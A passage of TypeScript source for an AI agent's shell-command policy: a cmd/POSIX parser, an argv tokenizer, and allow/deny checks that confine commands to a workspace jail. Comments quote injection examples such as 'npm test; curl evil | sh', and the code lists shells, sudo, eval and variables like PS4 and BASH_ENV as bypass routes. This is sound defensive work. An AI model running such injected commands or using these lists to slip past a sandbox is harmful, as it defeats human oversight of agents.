op: string;\n\n if (this.src.startsWith(\">>\", this.pos)) {\n op = \">>\";\n } else if (this.src.startsWith(\">&\", this.pos)) {\n op = \">&\";\n } else if (this.src.startsWith(\"<&\", this.pos) || this.src.startsWith(\"<<\", this.pos)) {\n throw unsupported(\n `\\`${this.src.slice(this.pos, this.pos + 2)}\\` is not supported by cmd.exe.`,\n );\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n this.skipBlanks();\n\n if (this.atEnd() || /[&|<>]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \">&\") {\n if (!/^[0-9]$/.test(target.value)) {\n throw unsupported(`\\`>&${target.raw}\\` is not supported; write \\`> file 2>&1\\`.`);\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: op === \"<\" ? \"read\" : \"write\" };\n }\n\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\"\n ) {\n break;\n }\n\n if (char === '\"') {\n const closing = this.src.indexOf('\"', this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const inner = this.src.slice(this.pos + 1, closing);\n\n if (/[%!]/.test(inner)) {\n throw unsupported(\n \"`%` and `!` expand even inside quotes in cmd.exe; they are not supported.\",\n );\n }\n\n if (value.endsWith(\"\\\\\") || inner.endsWith(\"\\\\\")) {\n throw unsupported(\n 'A backslash before a `\"` is read differently by cmd.exe and programs.',\n );\n }\n\n value += inner;\n quoted = true;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (\n char === \"%\" ||\n char === \"!\" ||\n char === \"^\" ||\n char === \"(\" ||\n char === \")\" ||\n char === \";\" ||\n char === \",\"\n ) {\n throw unsupported(\n `Unquoted \\`${char}\\` has a special meaning in cmd.exe and is not supported.`,\n );\n }\n\n if (char === \"\\\\\" && this.peek(1) === '\"') {\n throw unsupported('A backslash before a `\"` is read differently by cmd.exe and programs.');\n }\n\n if (char === \"*\" || char === \"?\") {\n dynamic = true;\n }\n\n value += char;\n this.pos++;\n }\n\n return { raw: this.src.slice(start, this.pos), value, dynamic, quoted };\n }\n}\n\n/**\n * Parse a command line for the shell policy. Never throws: a construct the\n * parser does not read with confidence comes back as `{ ok: false }` with a\n * message naming it.\n *\n * @example\n * const parsed = parseShellLine(\"git add -A && git commit -m 'wip'\", \"posix\");\n * // parsed.ok === true; parsed.commands.map((c) => c.words.map((w) => w.value))\n * // → [[\"git\", \"add\", \"-A\"], [\"git\", \"commit\", \"-m\", \"wip\"]]\n */\nexport function parseShellLine(line: string, dialect: ShellDialect): ShellParseResult {\n const segments: ShellSegment[] = [];\n\n try {\n if (dialect === \"cmd\") {\n const commands: ShellSimpleCommand[] = [];\n\n new CmdParser(line, commands).parseProgram(segments);\n\n return { ok: true, commands, segments, background: false };\n }\n\n const state: SharedState = { commands: [], background: false, nesting: 0 };\n\n new PosixParser(line, state).parseProgram(segments);\n\n return { ok: true, commands: state.commands, segments, background: state.background };\n } catch (error) {\n if (error instanceof ShellSyntaxRefusal) {\n return { ok: false, reason: error.reason, message: error.message };\n }\n\n throw error;\n }\n}\n","/**\n * Characters that are refused when they appear UNQUOTED in a command line.\n * Workspace commands are executed as a direct argv spawn — never through a\n * shell — so none of these can mean what a shell would make them mean\n * (chaining, piping, substitution, redirection, subshells). Refusing them\n * outright keeps the allow/deny gate honest: `npm test; curl evil | sh` is\n * rejected instead of silently running commands past the allowlist. Inside\n * quotes they are ordinary literal bytes and pass through as argument data.\n */\nconst UNQUOTED_METACHARACTERS = new Set([\";\", \"&\", \"|\", \"<\", \">\", \"`\", \"$\", \"(\", \")\"]);\n\n/** Two-character operators reported as one token in a refusal. */\nconst TWO_CHARACTER_OPERATORS = new Set([\"&&\", \"||\", \">>\", \"<<\", \"$(\", \"${\", \">&\", \"<&\"]);\n\n/**\n * Why {@link analyzeArgvCommand} could not turn a line into an argv.\n *\n * - `\"empty\"` — nothing but whitespace.\n * - `\"unbalanced-quotes\"` — a `'` or `\"` is never closed (`quote` says which).\n * - `\"metacharacter\"` — an unquoted shell operator (`token`, at `index`).\n */\nexport type ArgvAnalysis =\n | { ok: true; argv: string[] }\n | { ok: false; type: \"empty\" }\n | { ok: false; type: \"unbalanced-quotes\"; quote: \"'\" | '\"'; index: number }\n | { ok: false; type: \"metacharacter\"; token: string; index: number };\n\n/**\n * Tokenize a command line into an argv the way {@link tokenizeCommand}\n * does, but say **why** a line cannot be represented as one argv — which\n * quote is unbalanced, or which unquoted operator (`&&`, `|`, `>`, `$(`,\n * a newline, …) was found first. The shell policy uses it to phrase a\n * refusal that tells the model how to split the line.\n *\n * @example\n * analyzeArgvCommand(\"npm test\"); // { ok: true, argv: [\"npm\", \"test\"] }\n * analyzeArgvCommand(\"git add -A && git commit\"); // { ok: false, type: \"metacharacter\", token: \"&&\", index: 11 }\n */\nexport function analyzeArgvCommand(command: string): ArgvAnalysis {\n const argv: string[] = [];\n let current = \"\";\n let inToken = false;\n let index = 0;\n\n while (index < command.length) {\n const char = command.charAt(index);\n\n if (char === \"'\" || char === '\"') {\n const closing = command.indexOf(char, index + 1);\n\n // Unbalanced quote — the intended argv is ambiguous; refuse.\n if (closing === -1) {\n return { ok: false, type: \"unbalanced-quotes\", quote: char, index };\n }\n\n current += command.slice(index + 1, closing);\n inToken = true;\n index = closing + 1;\n\n continue;\n }\n\n if (char === \" \" || char === \"\\t\") {\n if (inToken) {\n argv.push(current);\n current = \"\";\n inToken = false;\n }\n\n index++;\n\n continue;\n }\n\n if (char === \"\\n\" || char === \"\\r\") {\n return { ok: false, type: \"metacharacter\", token: \"\\n\", index };\n }\n\n if (UNQUOTED_METACHARACTERS.has(char)) {\n const pair = command.slice(index, index + 2);\n const token = TWO_CHARACTER_OPERATORS.has(pair) ? pair : char;\n\n return { ok: false, type: \"metacharacter\", token, index };\n }\n\n current += char;\n inToken = true;\n index++;\n }\n\n if (inToken) {\n argv.push(current);\n }\n\n return argv.length > 0 ? { ok: true, argv } : { ok: false, type: \"empty\" };\n}\n\n/**\n * Tokenize a command line into an argv array WITHOUT any shell semantics.\n *\n * Splitting is POSIX-flavored but deliberately minimal: unquoted spaces/tabs\n * separate tokens; single- or double-quoted spans are literal (including\n * whitespace and metacharacters) up to the matching close quote, and\n * adjacent spans concatenate into one token (`foo\"bar baz\"` → `foo bar baz`).\n * There is **no** variable expansion, globbing, or backslash escaping — a\n * backslash is a literal byte, so Windows paths survive untouched.\n *\n * Returns `null` — \"this command cannot be represented as a single argv\" —\n * for an empty/whitespace-only line, an unbalanced quote, or any unquoted\n * shell metacharacter / newline (see {@link UNQUOTED_METACHARACTERS}). The\n * policy gate treats `null` as denied and the local backend refuses to\n * spawn it, which is what closes the `allowed_cmd; anything-else` injection.\n * {@link analyzeArgvCommand} says why a line was refused.\n *\n * @example\n * tokenizeCommand('npm test'); // [\"npm\", \"test\"]\n * tokenizeCommand('node -e \"console.log(1)\"'); // [\"node\", \"-e\", \"console.log(1)\"]\n * tokenizeCommand('npm test; curl http://evil'); // null (unquoted `;`)\n */\nexport function tokenizeCommand(command: string): string[] | null {\n const analysis = analyzeArgvCommand(command);\n\n return analysis.ok ? analysis.argv : null;\n}\n","import path from \"node:path\";\nimport type { WorkspaceShellRefusalReason } from \"../errors\";\nimport type {\n WorkspaceCommandPattern,\n WorkspacePolicy,\n WorkspaceShellInterpreter,\n WorkspaceShellPolicy,\n} from \"../contracts\";\nimport { isInsideJailLexically } from \"./jail\";\nimport {\n parseShellLine,\n type ShellDialect,\n type ShellSegment,\n type ShellSimpleCommand,\n type ShellWord,\n} from \"./shell-parser\";\nimport { analyzeArgvCommand, tokenizeCommand } from \"./tokenize-command\";\n\n/** How a shell-mode line touches a path the jail has to vet. */\nexport type WorkspaceShellPathAccess = \"read\" | \"write\" | \"cwd\";\n\n/** A path a shell-mode line redirects to/from or `cd`s into. */\nexport interface WorkspaceShellPath {\n /** Absolute path, resolved lexically against the workspace root (or an earlier `cd`). */\n path: string;\n /** What the line does with it. */\n access: WorkspaceShellPathAccess;\n /** The target as written in the line. */\n target: string;\n}\n\n/**\n * The shell policy's verdict on one command line — see\n * {@link checkShellCommand}.\n */\nexport interface WorkspaceShellCheck {\n /** Whether the line may run (path targets still get a symlink-aware recheck in `exec`). */\n allowed: boolean;\n /** Why it was refused. */\n reason?: WorkspaceShellRefusalReason;\n /** Model-facing refusal text: the cause, and how to fix the command. */\n message?: string;\n /** The executable the refusal is about, when there is one. */\n executable?: string;\n /** The redirection target or `cd` directory a `\"path-escape\"` refusal is about. */\n path?: string;\n /** The argv of every simple command checked, in order (wrapped commands included). */\n commands: string[][];\n /** Shell mode: every redirection target and `cd` directory, for the jail recheck. */\n paths: WorkspaceShellPath[];\n}\n\n/**\n * Programs and shell builtins that run a command or code the policy cannot\n * see (a script string, a file, a command read from input, another user).\n * With deny rules in force they would hide a denied command, so they are\n * refused unless the policy names them in `allow`.\n */\nconst OPAQUE_RUNNERS = new Set([\n // Shells and interpreters of command strings.\n \"sh\",\n \"bash\",\n \"dash\",\n \"zsh\",\n \"ksh\",\n \"mksh\",\n \"ash\",\n \"yash\",\n \"posh\",\n \"fish\",\n \"csh\",\n \"tcsh\",\n \"busybox\",\n \"cmd\",\n \"powershell\",\n \"pwsh\",\n \"wsl\",\n // Run a command as someone else, elsewhere, or out of the process group.\n \"sudo\",\n \"doas\",\n \"su\",\n \"runuser\",\n \"pkexec\",\n \"runas\",\n \"chroot\",\n \"nsenter\",\n \"unshare\",\n \"setsid\",\n \"systemd-run\",\n \"start-stop-daemon\",\n \"daemonize\",\n // Run commands built from input or on a schedule.\n \"xargs\",\n \"parallel\",\n \"watch\",\n \"script\",\n \"expect\",\n \"at\",\n \"batch\",\n \"screen\",\n \"tmux\",\n \"stdbuf\",\n \"flock\",\n]);\n\n/** POSIX shell builtins that evaluate code or change how later names resolve. */\nconst SHELL_OPAQUE_BUILTINS = new Set([\n \"eval\",\n \".\",\n \"source\",\n \"alias\",\n \"unalias\",\n \"hash\",\n \"enable\",\n \"trap\",\n \"let\",\n \"declare\",\n \"typeset\",\n \"local\",\n \"set\",\n \"shopt\",\n \"fc\",\n \"bind\",\n \"complete\",\n \"compgen\",\n \"compopt\",\n \"mapfile\",\n \"readarray\",\n]);\n\n/** cmd.exe builtins that run commands or change the environment. */\nconst CMD_OPAQUE_BUILTINS = new Set([\"call\", \"start\", \"set\", \"pushd\", \"popd\"]);\n\n/**\n * Shell builtins whose arguments bash may evaluate as arithmetic (array\n * subscripts such as `a[$(cmd)]`): their arguments must be literal and free\n * of `[`.\n */\nconst ARITHMETIC_SENSITIVE_BUILTINS = new Set([\n \"test\",\n \"[\",\n \"printf\",\n \"read\",\n \"unset\",\n \"export\",\n \"readonly\",\n \"getopts\",\n \"wait\",\n \"kill\",\n \"shift\",\n \"return\",\n \"exit\",\n \"break\",\n \"continue\",\n \"ulimit\",\n]);\n\n/**\n * Variables a shell-mode line may not assign: they change how the shell\n * parses, traces or resolves what follows (`CDPATH` would move `cd` out of\n * the jail's sight, `PS4` is expanded — command substitutions included —\n * on every traced line, `IFS` re-splits expansions).\n */\nconst SENSITIVE_VARIABLES = new Set([\n \"CDPATH\",\n \"ENV\",\n \"BASH_ENV\",\n \"SHELLOPTS\",\n \"BASHOPTS\",\n \"IFS\",\n \"PS1\",\n \"PS2\",\n \"PS3\",\n \"PS4\",\n \"PROMPT_COMMAND\",\n \"BASH_XTRACEFD\",\n \"GLOBIGNORE\",\n \"EXECIGNORE\",\n \"BASH_LOADABLES_PATH\",\n]);\n\n/** Redirection targets that are always fine even though they sit outside the jail. */\nconst DEVICE_TARGETS = new Set([\"/dev/null\", \"/dev/stdout\", \"/dev/stderr\"]);\n\n/** cmd.exe's null device. */\nconst CMD_DEVICE_TARGETS = new Set([\"nul\"]);\n\n/** Deepest chain of wrappers (`env time nice …`) the policy unwraps. */\nconst MAX_WRAPPER_DEPTH = 8;\n\n/** Most distinct directories a line may `cd` between. */\nconst MAX_CD_CANDIDATES = 32;\n\n/** Longest command shown verbatim in a refusal before it is abbreviated. */\nconst MAX_SHOWN_COMMAND = 48;\n\n/** The dialect shell mode parses on this platform. */\nexport function shellDialect(): ShellDialect {\n return process.platform === \"win32\" ? \"cmd\" : \"posix\";\n}\n\n/**\n * Reduce an argv's first element to the basename the allow/deny policy is\n * keyed on. `\"npm\"` → `\"npm\"`; `\"/usr/bin/node\"` → `\"node\"`; `\"node.exe\"`\n * → `\"node\"` (the `.exe`/`.cmd`/`.bat`/`.com` Windows extension is\n * stripped). The cmd dialect splits Windows paths too.\n */\nexport function executableBasename(firstToken: string, dialect: ShellDialect = \"posix\"): string {\n const base = dialect === \"cmd\" ? path.win32.basename(firstToken) : path.basename(firstToken);\n\n return base.replace(/\\.(exe|cmd|bat|com)$/i, \"\");\n}\n\n/** Show a command in a refusal, abbreviated at a word boundary when long. */\nfunction show(source: string): string {\n const flat = source.replace(/\\s+/g, \" \").trim();\n\n if (flat.length <= MAX_SHOWN_COMMAND) {\n return `\\`${flat}\\``;\n }\n\n const cut = flat.lastIndexOf(\" \", MAX_SHOWN_COMMAND);\n\n return `\\`${flat.slice(0, cut > 0 ? cut : MAX_SHOWN_COMMAND)} …\\``;\n}\n\n/** Compile `denyPatterns` once per check. */\ninterface CompiledPattern {\n source: WorkspaceCommandPattern;\n test(argv: string[], dialect: ShellDialect): boolean;\n}\n\nfunction compilePattern(pattern: WorkspaceCommandPattern): CompiledPattern {\n if (pattern instanceof RegExp) {\n const regex = new RegExp(pattern.source, pattern.flags.replace(/[gy]/g, \"\"));\n\n return {\n source: pattern,\n test: (argv, dialect) =>\n regex.test([executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \")),\n };\n }\n\n const tokens = tokenizeCommand(pattern);\n\n if (tokens === null) {\n // Not representable as an argv: match it as text inside the joined argv.\n return {\n source: pattern,\n test: (argv, dialect) =>\n [executableBasename(argv[0] ?? \"\", dialect), ...argv.slice(1)].join(\" \").includes(pattern),\n };\n }\n\n return {\n source: pattern,\n test: (argv, dialect) => {\n if (argv.length < tokens.length) {\n return false;\n }\n\n return tokens.every((token, index) => {\n const actual = argv[index] ?? \"\";\n\n return index === 0\n ? executableBasename(actual, dialect).toLowerCase() ===\n executableBasename(token, dialect).toLowerCase()\n : actual === token;\n });\n },\n };\n}\n\n/** Thrown inside the checker to stop at the first refusal. */\nclass Refusal extends Error {\n public constructor(\n public readonly reason: WorkspaceShellRefusalReason,\n message: string,\n public readonly executable?: string,\n public readonly refusedPath?: string,\n ) {\n super(message);\n }\n}\n\n/** Per-line checker state. */\nclass LineChecker {\n public readonly commands: string[][] = [];\n\n public readonly paths: WorkspaceShellPath[] = [];\n\n private readonly deny: Set<string>;\n\n private readonly allow: string[];\n\n private readonly patterns: CompiledPattern[];\n\n private readonly hasCommandRules: boolean;\n\n private readonly interpreter: WorkspaceShellInterpreter;\n\n public constructor(\n private readonly policy: WorkspacePolicy,\n private readonly shell: WorkspaceShellPolicy,\n private readonly line: string,\n private readonly dialect: ShellDialect,\n ) {\n this.deny = new Set((shell.deny ?? []).map((name) => name.toLowerCase()));\n this.allow = shell.allow ?? [];\n this.patterns = (shell.denyPatterns ?? []).map(compilePattern);\n this.interpreter = shell.interpreter ?? \"none\";\n this.hasCommandRules =\n this.deny.size > 0 || this.patterns.length > 0 || shell.allowCommand !== undefined;\n }\n\n /** Whether argument hooks (`denyPatterns` / `allowCommand`) need literal argv. */\n public get hasArgumentHooks(): boolean {\n return this.patterns.length > 0 || this.shell.allowCommand !== undefined;\n }\n\n private get shellMode(): boolean {\n return this.interpreter === \"sh\";\n }\n\n /** Run `denyPatterns` and `allowCommand` on one argv. */\n private checkHooks(argv: string[], nested: boolean): void {\n const shown = show(argv.join(\" \"));\n\n for (const pattern of this.patterns) {\n if (pattern.test(argv, this.dialect)) {\n throw new Refusal(\n \"denied-pattern\",\n `${shown} matches a command pattern the workspace shell policy denies.`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n }\n\n const hook = this.shell.allowCommand;\n\n if (hook === undefined) {\n return;\n }\n\n let verdict: boolean | string;\n\n try {\n verdict = hook([...argv], { command: this.line, interpreter: this.interpreter, nested });\n } catch {\n verdict = false;\n }\n\n if (verdict === true) {\n return;\n }\n\n const explanation =\n typeof verdict === \"string\" && verdict.trim() !== \"\" ? ` ${verdict.trim()}` : \"\";\n\n throw new Refusal(\n \"not-allowed\",\n `${shown} was refused by the workspace shell policy.${explanation}`,\n executableBasename(argv[0] ?? \"\", this.dialect),\n );\n }\n\n /** Whether the policy names `executable` in a non-empty `allow` list. */\n private explicitlyAllowed(executable: string): boolean {\n return this.allow.includes(executable);\n }\n\n /** Refuse a command runner the policy cannot see into, unless explicitly allowed. */\n private checkOpaque(executable: string, argv: string[]): void {\n if (this.explicitlyAllowed(executable) || !this.hasCommandRules) {\n return;\n }\n\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` runs a command the workspace shell policy cannot inspect (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n /**\n * Check one argv: `deny`, `allow`, `denyPatterns`, `allowCommand`, then\n * follow wrappers and `find -exec` to the command they run. `dynamic[i]`\n * says whether `argv[i]` is decided at run time (shell mode).\n */\n public checkArgv(argv: string[], dynamic: boolean[], depth: number): void {\n const first = argv[0] ?? \"\";\n const executable = executableBasename(first, this.dialect);\n const key = executable.toLowerCase();\n\n if (executable === \"\") {\n throw new Refusal(\"not-allowed\", \"The command has no executable name.\");\n }\n\n if (dynamic[0] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The command name \\`${first}\\` is decided when the line runs, so the workspace shell policy cannot check it. Write the command name literally.`,\n );\n }\n\n if (this.deny.has(key)) {\n throw new Refusal(\n \"denied-executable\",\n `\\`${executable}\\` is denied by the workspace shell policy (in ${show(argv.join(\" \"))}).`,\n executable,\n );\n }\n\n if (this.allow.length > 0 && !this.allow.includes(executable)) {\n const listed = this.allow.slice(0, 20).join(\", \");\n\n throw new Refusal(\n \"not-allowed\",\n `\\`${executable}\\` is not in the workspace shell allowlist. Allowed commands: ${listed}${this.allow.length > 20 ? \", …\" : \"\"}.`,\n executable,\n );\n }\n\n this.checkHooks(argv, depth > 0);\n this.commands.push([...argv]);\n\n if (\n OPAQUE_RUNNERS.has(key) ||\n (this.shellMode && this.dialect === \"posix\" && SHELL_OPAQUE_BUILTINS.has(key)) ||\n (this.shellMode && this.dialect === \"cmd\" && CMD_OPAQUE_BUILTINS.has(key))\n ) {\n this.checkOpaque(executable, argv);\n\n return;\n }\n\n if (this.shellMode && this.dialect === \"posix\" && ARITHMETIC_SENSITIVE_BUILTINS.has(key)) {\n this.checkArithmeticSensitive(executable, argv, dynamic);\n }\n\n const ranges = this.unwrap(key, argv);\n\n if (ranges === undefined) {\n return;\n }\n\n if (ranges === null || depth >= MAX_WRAPPER_DEPTH) {\n throw new Refusal(\n \"nested-command\",\n `\\`${executable}\\` is used with options the workspace shell policy cannot read (in ${show(argv.join(\" \"))}). Run the inner command directly instead.`,\n executable,\n );\n }\n\n for (const [start, end] of ranges) {\n this.checkArgv(argv.slice(start, end), dynamic.slice(start, end), depth + 1);\n }\n }\n\n /**\n * Builtins bash may evaluate arguments of as arithmetic (array subscripts\n * like `a[$(cmd)]` run the substitution): arguments must be literal, free\n * of `[`, and must not name a variable that changes how the shell runs.\n */\n private checkArithmeticSensitive(executable: string, argv: string[], dynamic: boolean[]): void {\n for (let index = 1; index < argv.length; index++) {\n const argument = argv[index] ?? \"\";\n\n if (dynamic[index] === true) {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments must be literal here (\\`${argument}\\` is not): bash may evaluate them as arithmetic.`,\n executable,\n );\n }\n\n if (argument.includes(\"[\") && argument !== \"[\" && argument !== \"]\") {\n throw new Refusal(\n \"unsupported-syntax\",\n `\\`${executable}\\` arguments with \\`[\\` (array subscripts, evaluated as arithmetic) are not supported.`,\n executable,\n );\n }\n\n const name = argument.split(\"=\")[0] ?? \"\";\n\n if (SENSITIVE_VARIABLES.has(name) || name.startsWith(\"BASH_FUNC_\")) {\n throw new Refusal(\n \"unsupported-syntax\",\n `Changing \\`${name}\\` is not supported: it changes how the shell runs the commands that follow.`,\n executable,\n );\n }\n }\n }\n\n /**\n * The argv ranges a wrapper runs. `undefined` — not a wrapper (or one that\n * runs nothing, like a bare `env`); `null` — a wrapper whose options the\n * policy cannot read (refused).\n */\n private unwrap(key: string, argv: string[]): Array<[number, number]> | null | undefined {\n switch (key) {\n case \"env\":\n return suffixFrom(argv, unwrapEnv(argv));\n case \"nice\":\n return suffixFrom(argv, unwrapNice(argv));\n case \"nohup\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"time\":\n return suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"timeout\":\n return suffixFrom(argv, unwrapTimeout(argv));\n case \"command\":\n return argv.slice(1).some((arg) => arg === \"-v\" || arg === \"-V\")\n ? undefined\n : suffixFrom(argv, unwrapSimple(argv, [\"-p\"]));\n case \"builtin\":\n return suffixFrom(argv, unwrapSimple(argv, []));\n case \"exec\":\n return this.dialect === \"posix\" ? suffixFrom(argv, unwrapExec(argv)) : undefined;\n case \"find\":\n return unwrapFind(argv);\n default:\n return undefined;\n }\n }\n\n /** Check a `cd` (shell mode): literal, one operand, inside the jail from every possible cwd. */\n public checkCd(words: ShellWord[], cwds: string[]): string[] {\n const argv = words.map((word) => word.value);\n\n if (this.deny.has(\"cd\")) {\n throw new Refusal(\"denied-executable\", \"`cd` is denied by the workspace shell policy.\", \"cd\");\n }\n\n this.checkHooks(argv, false);\n this.commands.push(argv);\n\n const operands = words.slice(1);\n\n while (\n this.dialect === \"posix\" &&\n operands.length > 0 &&\n [\"-P\", \"-L\", \"--\"].includes(operands[0]?.value ?? \"\")\n ) {\n operands.shift();\n }\n\n const target = operands[0];\n\n if (operands.length !== 1 || target === undefined || target.value === \"-\" || target.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n \"`cd` needs exactly one literal directory inside the workspace (no `-`, `~` or variables).\",\n \"cd\",\n );\n }\n\n const next = new Set(cwds);\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, target.value);\n\n this.assertInJail(resolved, target.value, \"cd\");\n this.paths.push({ path: resolved, access: \"cwd\", target: target.value });\n next.add(resolved);\n }\n\n if (next.size > MAX_CD_CANDIDATES) {\n throw new Refusal(\"unsupported-syntax\", \"The line changes directory too many times.\", \"cd\");\n }\n\n return [...next];\n }\n\n /** Check a redirection target from every possible cwd. */\n public checkRedirectTarget(word: ShellWord, access: \"read\" | \"write\", cwds: string[]): void {\n if (word.dynamic) {\n throw new Refusal(\n \"unsupported-syntax\",\n `The redirection target \\`${word.raw}\\` must be a literal path (no variables, globs or \\`~\\`).`,\n );\n }\n\n const value = word.value;\n\n if (\n (this.dialect === \"posix\" && DEVICE_TARGETS.has(value)) ||\n (this.dialect === \"cmd\" && CMD_DEVICE_TARGETS.has(value.toLowerCase()))\n ) {\n return;\n }\n\n for (const cwd of cwds) {\n const resolved = this.resolveTarget(cwd, value);\n\n this.assertInJail(resolved, value, \"redirect\");\n this.paths.push({ path: resolved, access, target: value });\n }\n }\n\n private resolveTarget(cwd: string, target: string): string {\n return path.resolve(cwd, target);\n }\n\n private assertInJail(resolved: string, target: string, kind: \"cd\" | \"redirect\"): void {\n if (isInsideJailLexically(this.policy, resolved)) {\n return;\n }\n\n throw new Refusal(\n \"path-escape\",\n kind === \"cd\"\n ? `\\`cd ${target}\\` leaves the workspace jail (or enters a denied path); commands must stay inside the workspace.`\n : `The redirection target \\`${target}\\` is outside the workspace jail or on a denied path.`,\n undefined,\n target,\n );\n }\n}\n\n/**\n * Turn a wrapper's \"inner command starts at `start`\" into a range; a\n * wrapper that runs nothing (`start === argv.length`) becomes `undefined`.\n */\nfunction suffixFrom(\n argv: string[],\n start: number | null,\n): Array<[number, number]> | null | undefined {\n if (start === null) {\n return null;\n }\n\n return start < argv.length ? [[start, argv.length]] : undefined;\n}\n\n/** `nohup` / `time` / `command` / `builtin`: skip the listed flags and `--`. */\nfunction unwrapSimple(argv: string[], flags: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (flags.includes(arg)) {\n index++;\n\n continue;\n }\n\n if (arg.startsWith(\"-\") && arg !== \"-\") {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `env [-i] [-u NAME] [NAME=value]… command…` */\nfunction unwrapEnv(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-i\" || arg === \"-\" || arg === \"--ignore-environment\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-u\" || arg === \"--unset\") {\n index += 2;\n\n continue;\n }\n\n if (arg.startsWith(\"--unset=\") || (arg.startsWith(\"-u\") && arg.length > 2)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n while (index < argv.length && /^[^=]+=/.test(argv[index] ?? \"\")) {\n index++;\n }\n\n return index;\n}\n\n/** `nice [-n N | -N | --adjustment=N] command…` */\nfunction unwrapNice(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-n\" || arg === \"--adjustment\") {\n index += 2;\n\n continue;\n }\n\n if (/^-n-?[0-9]+$/.test(arg) || /^--adjustment=-?[0-9]+$/.test(arg) || /^-[0-9]+$/.test(arg)) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** `timeout [options] DURATION command…` */\nfunction unwrapTimeout(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-s\" || arg === \"--signal\" || arg === \"-k\" || arg === \"--kill-after\") {\n index += 2;\n\n continue;\n }\n\n if (\n /^-[sk].+$/.test(arg) ||\n arg.startsWith(\"--signal=\") ||\n arg.startsWith(\"--kill-after=\") ||\n arg === \"--preserve-status\" ||\n arg === \"--foreground\" ||\n arg === \"-v\" ||\n arg === \"--verbose\"\n ) {\n index++;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n // The duration, then the command.\n if (index >= argv.length - 1) {\n return null;\n }\n\n return index + 1;\n}\n\n/** `exec [-cl] [-a name] command…` (bash). */\nfunction unwrapExec(argv: string[]): number | null {\n let index = 1;\n\n while (index < argv.length) {\n const arg = argv[index] ?? \"\";\n\n if (arg === \"-c\" || arg === \"-l\" || arg === \"-cl\" || arg === \"-lc\") {\n index++;\n\n continue;\n }\n\n if (arg === \"-a\") {\n index += 2;\n\n continue;\n }\n\n if (arg === \"--\") {\n index++;\n\n break;\n }\n\n if (arg.startsWith(\"-\")) {\n return null;\n }\n\n break;\n }\n\n return index;\n}\n\n/** The commands `find -exec / -execdir / -ok / -okdir … ;|+` runs. */\nfunction unwrapFind(argv: string[]): Array<[number, number]> | null | undefined {\n const inner: Array<[number, number]> = [];\n\n for (let index = 1; index < argv.length; index++) {\n const arg = argv[index] ?? \"\";\n\n if (arg !== \"-exec\" && arg !== \"-execdir\" && arg !== \"-ok\" && arg !== \"-okdir\") {\n continue;\n }\n\n const start = index + 1;\n let end = start;\n\n while (end < argv.length && argv[end] !== \";\" && argv[end] !== \"+\") {\n end++;\n }\n\n if (end >= argv.length || end === start) {\n return null;\n }\n\n inner.push([start, end]);\n index = end;\n }\n\n return inner.length > 0 ? inner : undefined;\n}\n\n/** Build the argv-mode refusal for a line that is not a single argv. */\nfunction argvModeRefusal(command: string): Refusal {\n const analysis = analyzeArgvCommand(command);\n\n if (analysis.ok) {\n // Not reached: callers only ask for a refusal of a line that failed.\n return new Refusal(\"metacharacter\", \"The command cannot run as a single argv.\");\n }\n\n if (analysis.type === \"empty\") {\n return new Refusal(\"not-allowed\", \"The command is empty.\");\n }\n\n if (analysis.type === \"unbalanced-quotes\") {\n return new Refusal(\n \"unbalanced-quotes\",\n `The command has an unbalanced \\`${analysis.quote}\\` quote. Close it, or quote the argument with the other kind of quote.`,\n );\n }\n\n const token = analysis.token;\n const suffix = \" (run_shell executes a single command without a shell.)\";\n const parsed = parseShellLine(command, \"posix\");\n const segments: ShellSegment[] = parsed.ok ? parsed.segments : [];\n const listOperator = token === \"&&\" || token === \"||\" || token === \";\" || token === \"\\n\";\n\n if (listOperator && segments.length >= 2) {\n const shownOperator = token === \"\\n\" ? \"A line break\" : `\\`${token}\\``;\n const firstWords = (segments[0]?.source ?? \"\").trim().split(/\\s+/);\n\n if (firstWords[0] === \"cd\") {\n const rest = segments.slice(1).map((segment) => show(segment.source));\n\n return new Refusal(\n \"metacharacter\",\n `${shownOperator} is not supported in argv mode, and \\`cd\\` does not carry over: every command starts in the workspace root. Run ${rest.join(\", then \")} on its own, with paths relative to the root.${suffix}`,\n );\n }\n\n const steps = segments.map((segment) => show(segment.source));\n const joiner = token === 